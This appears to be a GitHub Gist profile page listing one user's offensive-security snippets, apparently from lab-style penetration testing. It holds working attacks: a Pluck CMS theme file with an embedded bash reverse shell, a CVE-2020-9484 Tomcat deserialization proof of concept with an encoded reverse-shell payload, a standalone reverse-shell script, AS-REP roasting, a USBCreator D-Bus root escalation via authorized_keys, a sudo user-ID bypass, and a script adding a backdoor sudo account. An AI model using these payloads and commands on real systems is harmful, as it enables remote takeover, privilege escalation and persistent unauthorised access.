Skip to content

Instantly share code, notes, and snippets.

View noobpk's full-sized avatar
🤒
Out sick

lethanhphuc noobpk

🤒
Out sick
View GitHub Profile
@noobpk
noobpk / info.php
Last active August 24, 2021 11:17
Pluck-CMS Theme RCE
<?php
//This is the old default theme of pluck
//Designer: Sander Thijsen, http://www.somp.nl
//You can find pluck at http://www.pluck-cms.org
exec("/bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1'");
$themedir = "oldstyle_exec";
$themename = "Oldstyle_exec";
$module_space[0] = "main";
$module_space[1] = "footer";
?>
@noobpk
noobpk / install-burp-ca-android.sh
Created December 29, 2020 07:53
Install Burpsuite CA for Android
#!/bin/bash
curl -s http://burp/cert -x http://127.0.0.1:8080 -o cacert.der
openssl x509 -inform DER -in cacert.der -out cacert.pem
export CERT_HASH=$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1)
adb root && adb remount
adb push cacert.pem "/sdcard/${CERT_HASH}.0"
adb shell su -c "mv /sdcard/${CERT_HASH}.0 /system/etc/security/cacerts"
adb shell su -c "chmod 644 /system/etc/security/cacerts/${CERT_HASH}.0"
rm -rf cacert.*
@noobpk
noobpk / check.txt
Created September 23, 2020 18:09
Check user account is actually present in the Active Directory
python3 GetNPUsers.py domain.local/ -usersfile profiles.txt -outputfile hash.txt -dc-ip 10.10.10.192 -format john
@noobpk
noobpk / poc.sh
Created September 15, 2020 06:25
CVE-2020-9484-Tomcat-JsessionID-Reverse-Shell-Via-Upload-File
#!/bin/bash
#bash -i >& /dev/tcp/10.10.14.169/4444 0>&1
payload="bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42OS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"
java -jar ysoserial-master.jar CommonsCollections2 "${payload}" > noob.session
curl -F 'image=@noob.session' http://localhost/upload.jsp?email=noob@noob
curl --cookie "JSESSIONID=../../../../../opt/samples/uploads/noob" -L http://localhost/upload.jsp?email=noob@noob
@noobpk
noobpk / note.txt
Created September 7, 2020 10:27
USBCreator D-Bus Privilege Escalation for ssh
#document: https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/
#detect
remote-machine> ps auwx | grep usb
remote-machine> echo "attack-machine id_rsa.pub key" > ~/authorized_keys
remote-machine> gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/remote/authorized_keys /root/.ssh/authorized_keys true
attack-machine> ssh -i id_rsa root@10.10.10.10
@noobpk
noobpk / re-shell.sh
Created September 6, 2020 14:53
Linux Reverse Shell
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.4/4444 0>&1
@noobpk
noobpk / chisel-port-tunneling.txt
Last active September 14, 2020 09:17
Port Tunneling
#https://github.com/jpillora/chisel
chisel client <ip-server>:<port-server> R:4506:127.0.0.1:4506 R:1234:127.0.0.1:1234
chisel server -p <port> --reverse
@noobpk
noobpk / ssh-with-proxychains.txt
Created September 3, 2020 07:21
Ssh Port forwarding & Proxychains
#proxychains config: /etc/proxychains.conf
ssh -D <port-proxychains> root@<ip-target>
proxychains <application> <application-option>
@noobpk
noobpk / fork.sh
Last active September 3, 2020 06:30
fork /bin/bash instead of sh
sudo -u#-1 /bin/bash
@noobpk
noobpk / create-user.sh
Created August 31, 2020 16:48
Linux Create User
#!/bin/bash
sudo useradd -p \$(openssl passwd -1 1_2_3Qwe) noobpk
usermod -aG sudo noobpk
echo [*]Done